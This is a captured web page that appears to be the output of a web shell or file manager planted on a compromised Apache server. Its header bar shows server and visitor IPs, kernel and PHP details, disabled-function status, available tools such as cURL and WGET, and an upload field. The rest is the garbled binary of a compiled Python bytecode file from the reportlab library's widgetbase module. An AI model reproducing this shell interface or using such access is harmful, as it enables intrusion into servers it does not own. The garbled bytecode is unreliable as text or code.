| Server IP : 217.160.0.135 / Your IP : 216.73.216.115 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /lib/python3/dist-packages/reportlab/graphics/__pycache__/ |
Upload File : |
�
}G�b�c � �� � d Z dZddlmZ ddlmZ ddlmZ ddlT ddl T ddl
mZ G d� d � � Z
G d
� de
ej � � Z G d� d
e� � Zi Z G d� d� � Z G d� de
� � Zd� Zd� Z G d� de
� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de� � Z G d� de
� � Zd � Zd!� Zed"k r e� � d#S d#S )$z3.3.0z-Base class for user-defined graphical widgets� )�shapes)� rl_config)�colors)�*)�refc �H � e Zd ZdZdZd� Zej r d� Zd
d�Z d� Z
dd �ZdS )�
PropHolderzBase for property holdersNc � � | j ��| j � � � D ])}|d dk rd|�d| ��}|| j v s
J |� � ��*| j � � � D ]j\ }}d|�d| ��}t | |� � s
J |� � �t | |� � }||| j j f}|� |� � s
J d|z � � ��idS dS ) a0 If the _attrMap attribute is not None, this
checks all expected attributes are present; no
unwanted attributes are present; and (if a
checking function is found) checks each
attribute has a valid value. Either succeeds
or raises an informative exception.
Nr �_zUnexpected attribute z
found in zMissing attribute z from z-Invalid value %s for attribute %s in class %s) �_attrMap�__dict__�keys�items�hasattr�getattr� __class__�__name__�validate)�self�key�msg�attr� metavalue�value�argss �?/usr/lib/python3/dist-packages/reportlab/graphics/widgetbase.py�verifyzPropHolder.verify s � � �=�$��}�)�)�+�+�
5�
5���q�6�S�=�=�=�CF�3�3���M�C��$�-�/�/�/��/�/�/��#'�=�#6�#6�#8�#8�
i�
i���i�i�8<���d�d�C���t�T�*�*�/�/�C�/�/�/���d�+�+���t�T�^�%<�=�� �)�)�%�0�0�h�h�2a�dh�2h�h�h�h�h� %�$�
i�
i� c �( � t | ||� � dS )zSBy default we verify. This could be off
in some parallel base classes.N��validateSetattr�r �namer s r �__setattr__zPropHolder.__setattr__. s � �
�D��e�,�,�,�,�,r � c �P � ddl m} i }| j � � � D ]�}|dd� dk rst | |� � }|r\ ||� � rQ|� |�� � }|� � � D ]%\ }}|d dk r
|||�|��<